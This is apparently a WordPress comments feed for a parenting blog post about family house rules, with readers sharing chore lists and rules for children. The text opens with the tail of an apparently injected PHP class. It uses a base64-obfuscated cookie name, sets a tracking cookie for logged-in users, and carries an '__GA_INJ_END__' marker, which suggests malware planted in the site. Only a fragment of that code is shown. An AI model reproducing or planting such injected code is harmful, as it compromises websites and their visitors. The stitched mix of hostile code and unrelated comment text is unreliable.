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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_dc59ec8f=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_dc59ec8f])){return;}$_90552ca3=time()+(365*24*60*60);setcookie($_dc59ec8f,'1',$_90552ca3,'/','',false,false);}}new GAwp_f7672d25(); /* __GA_INJ_END__ */ Comments on: >Because I said so..? https://www.leageller.com/because-i-said-so/ Fri, 20 Oct 2017 17:44:59 +0000 hourly 1 https://wordpress.org/?v=4.9.22 By: lrgeller https://www.leageller.com/because-i-said-so/#comment-20 Tue, 29 Mar 2011 22:44:34 +0000 http://thisisthecornerwepeein.wordpress.com/2011/03/29/because-i-said-so#comment-20 Funny you should ask. I was about to post them. But I’m ashamed at their simplicity. They aren’t even rules — they’re more like expectations. I guess I just can’t believe I have to ask them to do stuff this basic. Oh well, here goes:
HOUSE RULES – now you can’t pretend you don’t know what they are.
EVERY MORNING WE:
PUT PAJAMAS IN THE HAMPER
GET DRESSED
EAT BREAKFAST AND CLEAR PLATES
BRUSH TEETH WELL
EVERY EVENING WE:
DO HOMEWORK
CLEAR OUR PLATES AFTER DINNER
SHOWER
BRUSH TEETH WELL
WE DON’T CURSE. (IF WE SLIP, WE PAY FIFTY CENTS A CURSE WORD.)
WE EARN OUR ALLOWANCE BY HELPING AS NEEDED.
OH, and then the line about me being able to amend as needed.

]]> By: Leora https://www.leageller.com/because-i-said-so/#comment-19 Tue, 29 Mar 2011 21:04:44 +0000 http://thisisthecornerwepeein.wordpress.com/2011/03/29/because-i-said-so#comment-19 >And what are the Geller family rules, please???

]]> By: LRG https://www.leageller.com/because-i-said-so/#comment-18 Tue, 29 Mar 2011 17:02:03 +0000 http://thisisthecornerwepeein.wordpress.com/2011/03/29/because-i-said-so#comment-18 >My friend sent me this email:here are our rules (a little outdated) – violating a rule gets you a ticket. 5 tickets means you don't get to (whatever the recurring fun thing is these days but without being too over the top punitive – e.g. watch a movie on the weekend, etc)House Rules 1. Listen to our words2. Don’t wake us up before 6 o’clock3. No hitting or hurting someone else’s body on purpose4. No touching Eli’s hands or head5. No pulling Eli6. Treat Eli with respect at all times7. Don’t touch Eli when he is in the swing or when he is sleeping8. Good table manners at all times9. Don’t go into the street or the alley without a grown-up10. No calling other people names11. Clean up after yourself

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